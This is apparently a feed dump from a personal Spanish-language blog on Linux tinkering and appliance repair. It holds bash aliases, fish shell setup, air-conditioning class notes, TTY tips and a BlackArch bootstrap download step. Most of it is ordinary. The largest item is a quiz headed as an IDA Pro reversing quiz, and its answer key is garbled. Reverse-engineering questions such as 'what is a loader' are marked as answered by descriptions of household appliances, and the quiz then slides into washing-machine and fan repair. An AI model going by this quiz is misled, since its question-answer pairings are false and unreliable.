</span></span><span style="display:flex;"><span>export QTWEBENGINE_CHROMIUM_FLAGS<span style="color:#f92672">=</span><span style="color:#e6db74">"--ignore-gpu-blacklist"</span>
</span></span><span style="display:flex;"><span>export QT_QPA_EGLFS_INTEGRATION<span style="color:#f92672">=</span>eglfs_kms
</span></span><span style="display:flex;"><span>export QT_QPA_EGLFS_FULLSCREEN<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>export XKB_DEFAULT_LAYOUT<span style="color:#f92672">=</span>es
</span></span><span style="display:flex;"><span>export XKB_DEFAULT_VARIANT<span style="color:#f92672">=</span>nodeadkeys
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -----------------------------</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Aliases</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -----------------------------</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alias doom<span style="color:#f92672">=</span><span style="color:#e6db74">"cd doom && bash play_doom.sh"</span>
</span></span><span style="display:flex;"><span>alias wiby<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m http://wiby.org"</span>
</span></span><span style="display:flex;"><span>alias geohot<span style="color:#f92672">=</span><span style="color:#e6db74">"netsurf-fb -f sdl -w 1366 -h 768 https://geohot.github.io/blog"</span>
</span></span><span style="display:flex;"><span>alias ..<span style="color:#f92672">=</span><span style="color:#e6db74">"cd .."</span>
</span></span><span style="display:flex;"><span>alias nadeko<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m https://nadeko.net"</span>
</span></span><span style="display:flex;"><span>alias ce<span style="color:#f92672">=</span><span style="color:#e6db74">"netsurf-fb -f sdl -w 1366 -h 768 http://cursoelectricidad.github.io"</span>
</span></span><span style="display:flex;"><span>alias el<span style="color:#f92672">=</span><span style="color:#e6db74">"netsurf-fb -f sdl -w 1366 -h 768 http://cursoelectrodomesticos.github.io"</span>
</span></span><span style="display:flex;"><span>alias mc<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m https://sotwe.com/marianocrosetti"</span>
</span></span><span style="display:flex;"><span>alias in<span style="color:#f92672">=</span><span style="color:#e6db74">"netsurf-fb -f sdl -w 1366 -h 768 https://imlauernews.github.io"</span>
</span></span><span style="display:flex;"><span>alias im<span style="color:#f92672">=</span><span style="color:#e6db74">"netsurf-fb -f sdl -w 1366 -h 768 https://imlauer.github.io"</span>
</span></span><span style="display:flex;"><span>alias imlauer<span style="color:#f92672">=</span><span style="color:#e6db74">"netsurf-fb -f sdl -w 1366 -h 768 http://imlauera.github.io"</span>
</span></span><span style="display:flex;"><span>alias hp<span style="color:#f92672">=</span><span style="color:#e6db74">"netsurf-fb -f sdl -w 1366 -h 768 http://hyperphysics.phy-astr.gsu.edu/hbasees/hframe.html"</span>
</span></span><span style="display:flex;"><span>alias news<span style="color:#f92672">=</span><span style="color:#e6db74">"lynx news.ycombinator.com"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alias ls<span style="color:#f92672">=</span><span style="color:#e6db74">'ls --color=auto'</span>
</span></span><span style="display:flex;"><span>alias grep<span style="color:#f92672">=</span><span style="color:#e6db74">'grep --color=auto'</span>
</span></span><span style="display:flex;"><span>alias ..<span style="color:#f92672">=</span><span style="color:#e6db74">'cd ..'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alias drudgereport<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m drudgereport.com"</span>
</span></span><span style="display:flex;"><span>alias dgg<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m dgg.gg"</span>
</span></span><span style="display:flex;"><span>alias mojeek<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m https://www.mojeek.com/search?q=hola"</span>
</span></span><span style="display:flex;"><span>alias google<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m https://leta.mullvad.net/search?q=google&engine=google"</span>
</span></span><span style="display:flex;"><span>alias images2<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m https://www.ecosia.org/images?q=ecosia"</span>
</span></span><span style="display:flex;"><span>alias ecosia<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m https://www.ecosia.org/search?q=ecosia"</span>
</span></span><span style="display:flex;"><span>alias blog<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m imlauer.blogspot.com"</span>
</span></span><span style="display:flex;"><span>alias tdgg<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m dgg.gg"</span>
</span></span><span style="display:flex;"><span>alias imlauera<span style="color:#f92672">=</span><span style="color:#e6db74">"cha -V imlauera.github.io"</span>
</span></span><span style="display:flex;"><span>alias analisismatematico2<span style="color:#f92672">=</span><span style="color:#e6db74">"netsurf-fb -f sdl -w 1366 -h 768 analisismatematico2.github.io"</span>
</span></span><span style="display:flex;"><span>alias wimlauera<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m imlauera.github.io"</span>
</span></span><span style="display:flex;"><span>alias invidious<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m https://inv.nadeko.net/feed/subscriptions"</span>
</span></span><span style="display:flex;"><span>alias cinvidious<span style="color:#f92672">=</span><span style="color:#e6db74">"cha -V https://inv.nadeko.net/feed/subscriptions"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alias upwork<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon upwork.com"</span>
</span></span><span style="display:flex;"><span>alias linkedin<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon linkedin.com"</span>
</span></span><span style="display:flex;"><span>alias freelancer<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon freelancer.com"</span>
</span></span><span style="display:flex;"><span>alias duolingo<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon https://duolingo.com/learn"</span>
</span></span><span style="display:flex;"><span>alias notebooklm<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon https://notebooklm.google.com"</span>
</span></span><span style="display:flex;"><span>alias telegram<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon web.telegram.org"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alias home<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m </span>$HOME<span style="color:#e6db74">/samba/offline_tastyfish/startpage.html"</span>
</span></span><span style="display:flex;"><span>alias images<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m https://pinterest.lurkmore.com/"</span>
</span></span><span style="display:flex;"><span>alias lyrics<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m https://genius.lurkmore.com/"</span>
</span></span><span style="display:flex;"><span>alias rightdao<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m https://rightdao.com"</span>
</span></span><span style="display:flex;"><span>alias ttt<span style="color:#f92672">=</span><span style="color:#e6db74">"torsocks w3m ~/projects/imlauer.github.io/index.html"</span>
</span></span><span style="display:flex;"><span>alias focus<span style="color:#f92672">=</span><span style="color:#e6db74">"sudo systemctl stop NetworkManager"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alias f1<span style="color:#f92672">=</span><span style="color:#e6db74">"bash </span>$HOME<span style="color:#e6db74">/scripts/f1exposure.sh"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -----------------------------</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># PATH</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -----------------------------</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>export PATH<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$HOME<span style="color:#e6db74">/.local/bin:</span>$PATH<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>set -o vi
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>export HISTSIZE<span style="color:#f92672">=</span><span style="color:#ae81ff">1000000</span>
</span></span><span style="display:flex;"><span>export HISTFILESIZE<span style="color:#f92672">=</span><span style="color:#ae81ff">1000000</span>
</span></span></code></pre></div><hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>pacman -S fish
</span></span><span style="display:flex;"><span>fish_vi_key_bindings
</span></span><span style="display:flex;"><span>set -U fish_greeting <span style="color:#75715e"># deshabilita mensaje de bienvenida</span>
</span></span></code></pre></div><p>Si querés modificar más tu fish podés ejecutar <code>fish_TAB</code></p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 16) - Clase Práctica: Instalación Aire Acondicionado. Examen entra: diferencia entre inverter y convencional.
https://imlauera.github.io/clase16_aires_acondicionado/
Sun, 03 Nov 2024 10:24:59 -0300
https://imlauera.github.io/clase16_aires_acondicionado/
<h4 id="youtube">YouTube</h4>
<p><a href="https://youtube.com/watch?v=HX5QzMu5QnY">https://youtube.com/watch?v=HX5QzMu5QnY</a></p>
<h4 id="invidious">Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=HX5QzMu5QnY">https://redirect.invidious.io/watch?v=HX5QzMu5QnY</a></p>
<p>Un autoperforante es un tornillo con mecha.</p>
<p>Si se te dispara el amperage entonces es porque el capacitor de arranque no está conectado, la pinza amperométrica va a una de los cables: linea o neutro.</p>
<p>El refrigerante hay que terminar de cargar cuando está prendido.</p>
<p>El 410 siempre será más grande la tuerca.
Celeste neutro, marrón línea y el verde tierra.</p>
<p>El nro de la bornera: N1 (neutro) y 1: 1 es línea (porque es made in china)</p>
-
Create zip and split
https://imlauera.github.io/create_zip_split/
Sun, 03 Nov 2024 08:02:25 -0300
https://imlauera.github.io/create_zip_split/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman --noconfirm -S zip
</span></span><span style="display:flex;"><span>zip -r archive.zip directory/
</span></span><span style="display:flex;"><span>zip -s 50m new.zip big.iso
</span></span></code></pre></div><p>Dividí el zip para subirlo a github porque el archivo no puede ser muy grande</p>
<h4 id="ahora-tenés-que-subir-archivo-por-archivo-no-podés-subir-más-de-2gb-en-solo-un-push">Ahora tenés que subir archivo por archivo no podés subir más de 2gb en solo un push.</h4>
-
Todas clases electrodomesticos
https://imlauera.github.io/todas_clases_electrodomesticos/
Sun, 03 Nov 2024 07:47:20 -0300
https://imlauera.github.io/todas_clases_electrodomesticos/
<h4 id="github">GitHub</h4>
<p><a href="https://github.com/imlauera/ElectrodomesticosFundacionAlfa">https://github.com/imlauera/ElectrodomesticosFundacionAlfa</a></p>
-
Bash script generate YouTube thumbnail
https://imlauera.github.io/bash_script_generate_youtube_thumbnail/
Sun, 03 Nov 2024 04:09:33 -0300
https://imlauera.github.io/bash_script_generate_youtube_thumbnail/
<h4 id="abajo-hay-una-nueva-versión-esta-es-la-vieja">Abajo hay una nueva versión esta es la vieja.</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> -z <span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span> <span style="color:#f92672">||</span> -z <span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Uso: thumbnailg "</span>Esto es una prueba Esto es otra prueba Siguiente prueba<span style="color:#e6db74">" mi_portada.png"</span>
</span></span><span style="display:flex;"><span> exit;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>convert -size 1920x1080 plasma:red-blue out.png
</span></span><span style="display:flex;"><span>convert -font Source-Code-Pro-Medium -fill white -pointsize <span style="color:#ae81ff">100</span> -gravity center -draw <span style="color:#e6db74">"text 0,0 '</span>$1<span style="color:#e6db74">'"</span> out.png $2
</span></span><span style="display:flex;"><span>rm out.png
</span></span></code></pre></div><h5 id="copiá-este-script-a-usrbinthumbnailg">Copiá este script a <code>/usr/bin/thumbnailg</code></h5>
<h4 id="uso">Uso:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>thumbnailg <span style="color:#e6db74">"Esto es una prueba
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Esto es otra prueba
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Siguiente prueba"</span> mi_portada.png
</span></span></code></pre></div><p>Generará un archivo llamado <code>out1.png</code>.</p>
-
Add blackarch to ArchLinux
https://imlauera.github.io/add_blackarch_to_arch/
Sat, 02 Nov 2024 22:28:23 -0300
https://imlauera.github.io/add_blackarch_to_arch/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd Downloads
</span></span><span style="display:flex;"><span>curl -O https://blackarch.org/strap.sh
</span></span><span style="display:flex;"><span>chmod +x strap.sh
</span></span></code></pre></div>
-
Como mirar videos desde la TTY (how to play videos from tty) y ver imágenes desde ranger con MPV
https://imlauera.github.io/how_to_play_videos_from_tty/
Sat, 02 Nov 2024 22:16:20 -0300
https://imlauera.github.io/how_to_play_videos_from_tty/
<p>Esto se puede hacer a través de direct rendering manager, y mpv tiene una opción gpu que te permite ver un video desde la TTY.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mpv --vo<span style="color:#f92672">=</span>drm filename.mp4
</span></span><span style="display:flex;"><span>mpv --vo<span style="color:#f92672">=</span>gpu filename.mp4
</span></span></code></pre></div><p>Además de eso se puede usar el framebuffer que fue removido de mpv, tenés que compilarlo con esa funcionalidad.</p>
<p>Agregá eso a <code>/etc/mpv/mpv.conf</code></p>
<p>Desde ranger con r se configura con que archivo querés abrir la imágen.</p>
<p>En el archivo <code>.config/mpv/rifle.conf</code></p>
-
Multiple choice: 10 - Introducción al reversing IDA PRO
https://imlauera.github.io/ida_questions/
Fri, 01 Nov 2024 18:08:02 -0300
https://imlauera.github.io/ida_questions/
<div class='quizdown'>
---
primary_color: blue
secondary_color: lightgray
text_color: black
shuffle_questions: false
shuffle_answers: true
---
### Qué es un LOADER?
> Un desensamblador estático y con grandes posibilidades de interactividad para el reversing.
- [x] Son aparatos eléctricos diseñados para facilitar tareas en el hogar, como cocinar, limpiar y conservar alimentos. Ejemplos incluyen frigoríficos, hornos y lavadoras
- [ ] Un aparato que solo funciona con baterías.
- [ ] Un tipo de mueble utilizado en la cocina.
- [ ] Un vehículo utilizado para el transporte de personas.
### Para que sirve SUSPEND ON PROCESS ENTRY POINT?
> Un grupo de electrodomésticos relacionados con el entretenimiento y la comunicación.
- [ ] Un tipo de electrodoméstico que se utiliza para la cocina.
- [x] Un grupo de electrodomésticos relacionados con el entretenimiento y la comunicación, como televisores, equipos de audio y computadoras
- [ ] Un sistema de calefacción para el hogar.
- [ ] Un tipo de electrodoméstico que se utiliza para la limpieza del hogar.
### Como arrancamos el DEBUGGER?
> DEBUGGER - DEBUGGER - START PROCESS.
- [ ] Un grupo de electrodomésticos relacionados con el entretenimiento y la comunicación.
- [x] Un grupo de electrodomésticos que se utilizan para la cocina, limpieza y refrigeración como neveras, lavadoras y cocinas.
- [ ] Un tipo de electrodoméstico que se utiliza para la calefacción del hogar.
- [ ] Un grupo de pequeños electrodomésticos de uso diario.
## En dónde es peligroso abrir un binario?
> Frigoríficos y lavadoras, secadoras, cocinas, lavavajillas.
- [ ] En el loader
- [x] En el debugger
## En donde conviene ejecutar binarios peligrosos?
> Licuadora, Cafeteras, Tostadoras, Afeitadoras, Freidoras
- [x] En una máquina virtual, y usar el debugger remoto.
- [ ] En mi PC.
## Poné la vista de registros y flags.

> Some hint
- [x] La estufa eléctrica halógena es el mismo circuito que un horno eléctrico.
- [ ] No, la estufa eléctrica es diferente que el circuito de un horno eléctrico.
## Si una o más velas no encienden, menciona la causa, y cuál sería la solución y/o la reparación.
> Todas son correctas.
- [x] Contacto del temporisador dañado
- [x] Fallo en las Resistencias: Las resistencias pueden estar quemadas o dañadas, lo que impide que se calienten y, por ende, que el horno funcione correctamente.
- [x] Conexiones Sueltas: Un cable suelto o mal conectado puede interrumpir el flujo eléctrico hacia las resistencias.
- [x] Problemas Eléctricos: Puede haber problemas con la alimentación eléctrica, como un mal contacto en el enchufe o en el cableado interno del horno. Esto puede causar que algunas resistencias no reciban energía.
- [x] Avería en el Termostato: Si el termostato no funciona correctamente, puede no permitir que las resistencias se activen como deberían.
- [x] switch de operación
## Cual sería la solución? De que las velas no encienden?
> Todas son correctas.
- [ ] Pegarle una patada al horno y comprar uno nuevo.
- [x] Probar continuidad en el enchufe, los cables, termostato, temporizador, switch de operación, las velas y reemplazar lo que esté dañado.
## Realiza un circuito de una plancha eléctrica.

> Placa de base, resistencia de calefacción, termostato, interruptor.
- [x] Placa de base, resistencia de calefacción, termostato, interruptor.
- [ ] Motor, ventilador, batería, pantalla digital.
- [ ] Cámara de combustión, válvula de gas, termómetro, filtro.
- [ ] Panel solar, inversor, batería, regulador.
## ¿Cómo se realiza una medición de continuidad?
> Desconectar la fuente de alimentación, configurar el multímetro en modo de continuidad, y conectar las puntas de prueba entre los puntos a medir.
- [ ] Conectar el multímetro a la corriente y medir la tensión entre dos puntos.
- [x] Desconectar la fuente de alimentación, configurar el multímetro en modo de continuidad, y conectar las puntas de prueba entre los puntos a medir.
- [ ] Utilizar un osciloscopio para observar las ondas eléctricas en el circuito.
- [ ] Medir la resistencia del circuito sin desconectar la fuente de alimentación.
## Si una plancha funciona pero no se logra la temperatura adecuada, nombre la causa, y cual es la solución.
> El termostato está defectuoso. Solución: Reemplazar el termostato.
- [x] El termostato está defectuoso. Solución: Reemplazar el termostato.
- [ ] La plancha está desenchufada. Solución: Conectar la plancha a la corriente.
- [ ] La resistencia de calefacción está sucia. Solución: Limpiar la resistencia con un paño húmedo.
- [ ] El cable de alimentación está dañado. Solución: Reparar el cable con cinta aislante.
## ¿Por qué se frena un ventilador y cómo solucionar?
> Causa: Acumulación de polvo o un motor defectuoso, falta de lubricación, internas dañadas, como rodamientos o el mismo eje, esto puede causar fricción excesiva y eventual bloqueo del ventilador. Fallo en componentes eléctricos, como el capacitor del motor, puede hacer que el ventilador no arranque correctamente o se detenga después de un corto tiempo. Deformación del Buje: Con el uso y la exposición al calor, el buje puede deformarse, lo que reduce el espacio entre él y el eje. Esto provoca un bloqueo que impide que el ventilador gire. Solución: Limpiar el ventilador y verificar el motor. Limpiar y Lubricar: Limpiar cualquier residuo acumulado y aplicar un lubricante adecuado puede ayudar a restaurar la funcionalidad del ventilador. Reemplazar Componentes Dañados: Si se identifica desgaste en los bujes o ejes, es recomendable reemplazarlos para evitar futuros problemas.
- [x] Acumulación de polvo en las aspas. Se gasta el buje capacitor. Solución: Limpiar las aspas del ventilador.
- [x] El motor está sobrecalentado. Solución: Dejar enfriar el motor antes de usarlo nuevamente.
- [x] El cable de alimentación está dañado. Solución: Reemplazar el cable de alimentación.
- [x] El interruptor está defectuoso. Solución: Cambiar el interruptor por uno nuevo.
- [x] Deformación del Buje: Con el uso y la exposición al calor, el buje puede deformarse
## Realiza el diagrama eléctrico del ventilador y la disposición de las bobinas de un ventilador de tres velocidades.


> Ver imágen
- [x] El diagrama está arriba
## ¿Cómo medir continuidad de un ventilador?
> Desconectar el ventilador, configurar el multímetro en modo de resistencia, y conectar las puntas a los terminales de la bobina.
- [x] Desconectar el ventilador, configurar el multímetro en modo de resistencia, y conectar las puntas a los terminales de la bobina.
- [ ] Dejar el ventilador encendido y medir la tensión entre los cables de alimentación.
- [ ] Conectar el ventilador a una fuente de energía y observar si funciona.
- [ ] Utilizar un osciloscopio para medir la frecuencia del motor.
## ¿Por qué motivo un secador de ropa centrífugo no arranca?
> El blocapuertas está defectuoso o no cierra correctamente.
- [ ] El tambor está bloqueado por ropa atascada.
- [x] El blocapuertas está defectuoso o no cierra correctamente.
- [ ] La manguera de desagüe está obstruida.
- [ ] El motor está sobrecalentado.
## Nombra los componentes de un lavarropas semiautomático.
> Cesto, motor, bomba de desagüe, y panel de control.
- [x] Cesto, motor, bomba de desagüe, y panel de control.
- [ ] Termostato, resistencia, compresor, y filtro.
- [ ] Cámara de combustión, válvula de gas, y sensor de temperatura.
- [ ] Batería, inversor, y panel solar.
## Si un lavarropas semiautomático ajustamos el tiempo de lavado y el motor no arranca, menciona la causa y la solución.
> El temporizador está defectuoso. Solución: Reemplazar el temporizador.
- [x] El temporizador está defectuoso. Solución: Reemplazar el temporizador.
- [ ] La tapa no está cerrada correctamente. Solución: Asegurarse de que la tapa esté bien cerrada.
- [ ] El termostato está defectuoso. Solución: Reemplazar el termostato.
- [ ] La manguera de desagüe está obstruida. Solución: Limpiar la manguera de desagüe.
- [ ] Todo lo de siempre: el cable, etc...
## Nombra los componentes de un lavarropa automático.
> Motor, tambor, bomba de desagüe, y sensor de nivel.
- [x] Motor, tambor, bomba de desagüe, y sensor de nivel.
- [ ] Cesto, reloj temporizador, manguera de desagüe, y filtro de aire.
- [ ] Compresor, válvula de gas, y termostato.
- [ ] Batería, inversor, y panel solar.
## De que distintas formas el lavarropas manifiesta "ERROR"
> Todas son correctas.
- [x] Diferentes Códigos de Error
- [x] Señales Auditivas Algunos modelos emiten pitidos o sonidos
- [x] específicos como parte del sistema de aviso. Por ejemplo: Un
- [x] pitido puede indicar un error menor o que el ciclo ha terminado.
- [x] Dos pitidos pueden señalar problemas más serios, como fallos en el drenaje.
- [x] Luces Intermitentes Los lavarropas a menudo utilizan luces intermitentes para indicar errores. Por ejemplo: Una luz parpadeante puede señalar que hay un problema con el ciclo actual o un componente específico.
- [x] Mensajes en Pantalla.
- [x] Comportamiento Anómalo.
## Detalla la tabla de errores.
> Todas
- [ ] Error 4C: Problema de suministro de agua. Causa: Grifo cerrado o manguera obstruida.
- [ ] Error E20: Problemas de bombeo. Causa: Manguera de desagüe doblada o filtro obstruido.
- [ ] Error E7: La puerta no traba. Causa: Mal funcionamiento del blocapuerta.
- [x] Todas las anteriores.
## Detalla las conexiones en una placa de lavarropas automático.
> Electroválvula de llenado, motor, sensor de puerta, y bomba de desagüe.
- [x] Electroválvula de llenado, motor, sensor de puerta, y bomba de desagüe.
- [ ] Compresor, termostato, resistencia, y filtro.
- [ ] Batería, inversor, y panel solar.
- [ ] Cámara de combustión, válvula de gas, y sensor de temperatura.
## Realiza un circuito de comprobación de lavarropa.

> Desconectar la lavadora, medir la continuidad del cable de alimentación con un multímetro, y verificar que llegue corriente a la placa.
- [x] Desconectar la lavadora, medir la continuidad del cable de alimentación con un multímetro, y verificar que llegue corriente a la placa.
- [ ] Conectar la lavadora a la corriente y observar si el tambor gira.
- [ ] Revisar el manual del usuario para encontrar códigos de error y seguir las instrucciones.
- [ ] Limpiar el filtro de agua y reiniciar la máquina.
## Nombra la causa de un lavarropa sin estabilidad en el centrifugado.
> Todas
- [ ] Ropa desbalanceada en el tambor.
- [ ] Falta de nivelación del lavarropas.
- [ ] Amortiguadores o resortes dañados.
- [x] Todas las anteriores.
</div>
-
Dkpg reconfigure equivalente arch
https://imlauera.github.io/dpkg_equivalente_arch/
Fri, 01 Nov 2024 15:08:04 -0300
https://imlauera.github.io/dpkg_equivalente_arch/
<p>En arch tenés que reinstalar el programa, borrar el programa, o modificar los archivos de configuración.</p>
<ul>
<li><code>pacman -S package_name</code></li>
<li><code>pacman -Rn package_name</code></li>
<li>Borra archivos de configuración en <code>/etc</code>.</li>
</ul>
-
Mouse en la TTY con GPM
https://imlauera.github.io/mouse_en_la_tty/
Fri, 01 Nov 2024 15:01:16 -0300
https://imlauera.github.io/mouse_en_la_tty/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S gpm
</span></span></code></pre></div><p>Editá el archivo <code>/etc/conf.d/gpm</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>GPM_ARGS="-m
</span></span><span style="display:flex;"><span>/dev/input/mice -t imps2"
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl enable gpm
</span></span><span style="display:flex;"><span>sudo systemctl start gpm
</span></span></code></pre></div><p>Podés copiar y pegar seleccionando el texto y pegandolo con click derecho.</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 15) - Bobinado (Estuve ausente)
https://imlauera.github.io/clase15_aires_acondicionado/
Fri, 01 Nov 2024 10:24:59 -0300
https://imlauera.github.io/clase15_aires_acondicionado/
<p><img src="https://imlauera.github.io/img/15_clase_aires/IMG-20241026-WA0000.jpg" alt="IMG-20241026-WA0000.jpg"></p>
<h2 id="bobinado">Bobinado</h2>
<h3 id="capacitores-de-trabajo">Capacitores de trabajo:</h3>
<h5 id="instalación-eléctrica-unidad-condensadora">Instalación eléctrica (unidad condensadora):</h5>
<p>El elemento propulsor es un bobinado o estator, que contiene arrollamiento de alambre que tiene un principio y un final, este alambre es de cobre aislado por un barniz especial para 180° que no se deteriora por el refrigerante, esté bobinado consiste en 2 tipos de bobinas la exterior de alambre más grueso que corresponde a la bobina de trabajo o marcha y la interior más fina perteneciente a la bobina de arranque, esta sola trabaja en el momento de arrancar luego se corta dándole la fuerza y sentido de giro al motor y la de marcha es la que da el trabajo constante.</p>
-
Electronica Apuntes
https://imlauera.github.io/electronica_apuntes/
Fri, 01 Nov 2024 07:26:26 -0300
https://imlauera.github.io/electronica_apuntes/
<p><a href="https://imlauer.blogspot.com/2024/05/electronica-apuntes.html">https://imlauer.blogspot.com/2024/05/electronica-apuntes.html</a></p>
-
Buscadores anti mainstream
https://imlauera.github.io/buscadores_nomainstream/
Fri, 01 Nov 2024 07:21:21 -0300
https://imlauera.github.io/buscadores_nomainstream/
<p>Google mató a los blogs.</p>
<p><a href="https://search.marginalia.nu">https://search.marginalia.nu</a></p>
<h3 id="marginalia-search---marginalianu">Marginalia Search - Marginalia.nu</h3>
<p>Un buscador enfocado en contenido no comercial, ahora Google lo único que hace es promover Reddit mato todos los otros blogs.</p>
<p><a href="https://imlauer.blogspot.com/2024/11/buscadores-alternativos-anti-mainstream.html">https://imlauer.blogspot.com/2024/11/buscadores-alternativos-anti-mainstream.html</a></p>
<h3 id="searx-en-la-consola">Searx en la consola</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S rearx-bin
</span></span></code></pre></div>
-
[AUDIO] Exámen final taller electrodomésticos
https://imlauera.github.io/examen_electro/
Fri, 01 Nov 2024 07:21:11 -0300
https://imlauera.github.io/examen_electro/
<h4 id="youtube">YouTube</h4>
<p><a href="https://www.youtube.com/watch?v=fIZkJCKT_f0">https://www.youtube.com/watch?v=fIZkJCKT_f0</a></p>
<h4 id="invidious">Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=fIZkJCKT_f0">https://redirect.invidious.io/watch?v=fIZkJCKT_f0</a></p>
<p><a href="https://imlauer.blogspot.com/2024/10/examen-electrodomesticos.html">https://imlauer.blogspot.com/2024/10/examen-electrodomesticos.html</a></p>
-
Compilar C en Android
https://imlauera.github.io/compilar_c_android/
Fri, 01 Nov 2024 07:21:05 -0300
https://imlauera.github.io/compilar_c_android/
<p><a href="https://imlauer.blogspot.com/2024/10/compilar-c-en-android.html">https://imlauer.blogspot.com/2024/10/compilar-c-en-android.html</a></p>
-
Vim EOF como UNIX
https://imlauera.github.io/vim_eof_unix/
Fri, 01 Nov 2024 07:21:00 -0300
https://imlauera.github.io/vim_eof_unix/
<p><a href="https://imlauer.blogspot.com/2024/10/vim-eof-como-unix.html">https://imlauer.blogspot.com/2024/10/vim-eof-como-unix.html</a></p>
<p>El comando <code>:e ++ff=unix</code> te hará ver los ^M al final de cada línea.</p>
<p>Luego ejecutá <code>:%s/.\{1}$//</code> para eliminar el último caracter de todas las líneas</p>
-
Cambios al theme de blogger: bushwich
https://imlauera.github.io/cambios_bushwich/
Fri, 01 Nov 2024 07:20:52 -0300
https://imlauera.github.io/cambios_bushwich/
<p>Cree un blog en blogger y intenté modificar un theme y hacerlo parecido al que uso acá.</p>
<p><a href="https://imlauer.blogspot.com/2024/10/taller-de-reparacion-de.html">https://imlauer.blogspot.com/2024/10/taller-de-reparacion-de.html</a></p>
-
Busybox windows
https://imlauera.github.io/busybox_windows/
Fri, 01 Nov 2024 07:20:41 -0300
